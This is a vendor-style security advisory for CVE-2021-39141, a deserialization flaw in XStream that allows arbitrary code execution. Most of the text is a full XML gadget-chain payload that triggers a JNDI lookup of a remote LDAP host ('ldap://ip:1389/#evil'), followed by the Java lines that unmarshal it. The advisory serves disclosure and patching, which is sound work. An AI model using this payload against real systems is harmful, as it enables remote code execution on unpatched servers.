## Vulnerability

CVE-2021-39141: XStream is vulnerable to an Arbitrary Code Execution attack.

## Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

## Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <java.util.PriorityQueue serialization='custom'>
      <unserializable-parents/>
      <java.util.PriorityQueue>
        <default>
          <size>2</size>
        </default>
        <int>3</int>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
            <owner/>
            <managedObjectManagerClosed>false</managedObjectManagerClosed>
            <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
              <stubHandlers>
                <entry>
                  <method>
                    <class>java.lang.Comparable</class>
                    <name>compareTo</name>
                    <parameter-types>
                      <class>java.lang.Object</class>
                    </parameter-types>
                  </method>
                  <com.sun.xml.internal.ws.client.sei.StubHandler>
                    <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                      <indices>
                        <int>0</int>
                      </indices>
                      <getters>
                        <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                      </getters>
                      <accessors>
                        <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                          <val_-isJAXBElement>false</val_-isJAXBElement>
                          <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                            <type>int</type>
                            <field>
                              <name>hash</name>
                              <clazz>java.lang.String</clazz>
                            </field>
                          </val_-getter>
                          <val_-isListType>false</val_-isListType>
                          <val_-n>
                            <namespaceURI/>
                            <localPart>hash</localPart>
                            <prefix/>
                          </val_-n>
                          <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                            <type>java.lang.String</type>
                            <method>
                              <class>javax.naming.InitialContext</class>
                              <name>doLookup</name>
                              <parameter-types>
                                <class>java.lang.String</class>
                              </parameter-types>
                            </method>
                          </val_-setter>
                          <outer-class>
                            <propertySetters>
                              <entry>
                                <string>serialPersistentFields</string>
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  <type>[Ljava.io.ObjectStreamField;</type>
                                  <field>
                                    <name>serialPersistentFields</name>
                                    <clazz>java.lang.String</clazz>
                                  </field>
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>
                              </entry>
                              <entry>
                                <string>CASE_INSENSITIVE_ORDER</string>
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  <type>java.util.Comparator</type>
                                  <field>
                                    <name>CASE_INSENSITIVE_ORDER</name>
                                    <clazz>java.lang.String</clazz>
                                  </field>
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>
                              </entry>
                              <entry>
                                <string>serialVersionUID</string>
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  <type>long</type>
                                  <field>
                                    <name>serialVersionUID</name>
                                    <clazz>java.lang.String</clazz>
                                  </field>
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>
                              </entry>
                              <entry>
                                <string>value</string>
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  <type>[C</type>
                                  <field>
                                    <name>value</name>
                                    <clazz>java.lang.String</clazz>
                                  </field>
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>
                              </entry>
                              <entry>
                                <string>hash</string>
                                <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                  <type>int</type>
                                  <field reference='../../../../../val_-getter/field'/>
                                </com.sun.xml.internal.ws.spi.db.FieldSetter>
                              </entry>
                            </propertySetters>
                            <propertyGetters>
                              <entry>
                                <string>serialPersistentFields</string>
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  <type>[Ljava.io.ObjectStreamField;</type>
                                  <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>
                              </entry>
                              <entry>
                                <string>CASE_INSENSITIVE_ORDER</string>
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  <type>java.util.Comparator</type>
                                  <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>
                              </entry>
                              <entry>
                                <string>serialVersionUID</string>
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  <type>long</type>
                                  <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>
                              </entry>
                              <entry>
                                <string>value</string>
                                <com.sun.xml.internal.ws.spi.db.FieldGetter>
                                  <type>[C</type>
                                  <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                                </com.sun.xml.internal.ws.spi.db.FieldGetter>
                              </entry>
                              <entry>
                                <string>hash</string>
                                <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                              </entry>
                            </propertyGetters>
                            <elementLocalNameCollision>false</elementLocalNameCollision>
                            <contentClass>java.lang.String</contentClass>
                            <elementDeclaredTypes/>
                          </outer-class>
                        </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      </accessors>
                      <wrapper>java.lang.Object</wrapper>
                      <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                      <dynamicWrapper>false</dynamicWrapper>
                    </bodyBuilder>
                    <isOneWay>false</isOneWay>
                  </com.sun.xml.internal.ws.client.sei.StubHandler>
                </entry>
              </stubHandlers>
              <clientConfig>false</clientConfig>
            </databinding>
            <methodHandlers>
              <entry>
                <method reference='../../../databinding/stubHandlers/entry/method'/>
                <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
                  <owner reference='../../../..'/>
                  <method reference='../../../../databinding/stubHandlers/entry/method'/>
                  <isVoid>false</isVoid>
                  <isOneway>false</isOneway>
                </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              </entry>
            </methodHandlers>
          </handler>
        </dynamic-proxy>
        <string>ldap://ip:1389/#evil</string>
      </java.util.PriorityQueue>
    </java.util.PriorityQueue>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the code from the remote server is executed as soon as the XML gets unmarshalled.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

## Workarounds

See workarounds for the different versions covering all CVEs.

## Credits

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.